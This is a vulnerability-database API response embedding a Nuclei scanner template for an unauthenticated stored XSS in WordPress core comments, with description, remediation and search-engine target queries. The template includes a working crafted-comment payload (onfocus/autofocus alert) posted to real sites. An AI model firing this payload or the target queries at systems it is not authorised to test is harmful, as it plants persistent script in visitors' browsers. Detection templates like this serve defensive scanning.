{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-93485/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-93485/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-93485/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-93485/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-93485/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-93485/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2026-93485"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2026-93485"}},"enrichments":{"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-93485.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2026-93485\n\ninfo:\n  name: WordPress Core < 7.1.1 - Unauthenticated Stored XSS via Comment (Comment2Shell)\n  author: DhiyaneshDk\n  severity: high\n  description: |\n    WordPress core before 7.1.1 is vulnerable to unauthenticated stored XSS via crafted blockquote comments. wp_kses_post accepts a <blockquote> with a literal newline in the cite attribute, wpautop's non-quote-aware regex injects a <p> inside the cite value, and wptexturize leaves the attribute open so onfocus/autofocus land on <code> as real HTML attributes, giving zero-click stored XSS. Only triggers when comments are open and auto-approved.\n  impact: |\n    An unauthenticated attacker can store JavaScript in WordPress comments that executes automatically (zero-click) in every visitor's browser on affected pages.\n  remediation: |\n    Update WordPress to 7.1.1 or a backport release (7.0.5+, 6.9.8+, 6.8.9+, down to 4.7.36+), which makes wpautop's blockquote regex quote-aware.\n  reference:\n    - https://wordpress.org/news/2026/09/wordpress-7-1-1-maintenance-and-security-release/\n    - https://github.com/686f6c61/POC-WP-CORE-CVE-2026-93485\n    - https://github.com/DeathShotXD/Comment2Shell\n    - https://www.cve.org/CVERecord?id=CVE-2026-93485\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L\n    cvss-score: 7.1\n    cve-id: CVE-2026-93485\n    epss-score: 0.00749\n    epss-percentile: 0.55051\n    cwe-id: CWE-79\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: wordpress\n    product: wordpress\n    framework: wordpress\n    fofa-query: body=\"wp-content\" && body=\"wp-json\"\n    shodan-query: http.html:\"wp-json\" http.html:\"WordPress\"\n    google-query: inurl:\"/wp-json/wp/v2/\"\n  tags: cve,cve2026,wordpress,xss,stored-xss,comment2shell,unauthenticated,intrusive,vkev\n\nvariables:\n  marker: \"{{randstr}}\"\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        GET /wp-json/wp/v2/posts?per_page=20&_fields=id,comment_status&orderby=date&order=desc HTTP/1.1\n        Host: {{Hostname}}\n        Accept: application/json\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"comment_status\":\"open\"'\n        internal: true\n\n      - type: status\n        status:\n          - 200\n        internal: true\n\n    extractors:\n      # pick the first post that actually accepts comments, not just the newest\n      - type: json\n        name: post_id\n        part: body\n        json:\n          - '[.[] | select(.comment_status==\"open\")][0].id'\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-comments-post.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        Referer: {{RootURL}}/?p={{post_id}}\n        Connection: close\n\n        comment=%3Cblockquote+cite%3D%22a%0Ab%22%3E%3Ccode%3Ex%22+onfocus%3Dalert%28document.domain%29+autofocus+tabindex%3D0%3C%2Fcode%3E%3C%2Fblockquote%3E+{{marker}}&author=nuclei-xss-test&email=test%40example.com&url=&comment_post_ID={{post_id}}&comment_parent=0\n\n    matchers:\n      - type: status\n        status:\n          - 302\n        internal: true\n\n  - raw:\n      - |\n        GET /?p={{post_id}} HTTP/1.1\n        Host: {{Hostname}}\n        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\n        Connection: close\n\n    redirects: true\n    max-redirects: 2\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - '<blockquote[^>]*cite=\"[^\"]*<p>'\n\n      - type: word\n        part: body\n        words:\n          - \"{{marker}}\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a0047304502205582098a5934791cb5dffd8b64b1f66d9cc4c222afd635577397da620b218ec2022100c1173a0c204059277d00c65169ae2a394c2a9457e32f5576dd77de3c294b37aa:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2026-93485"}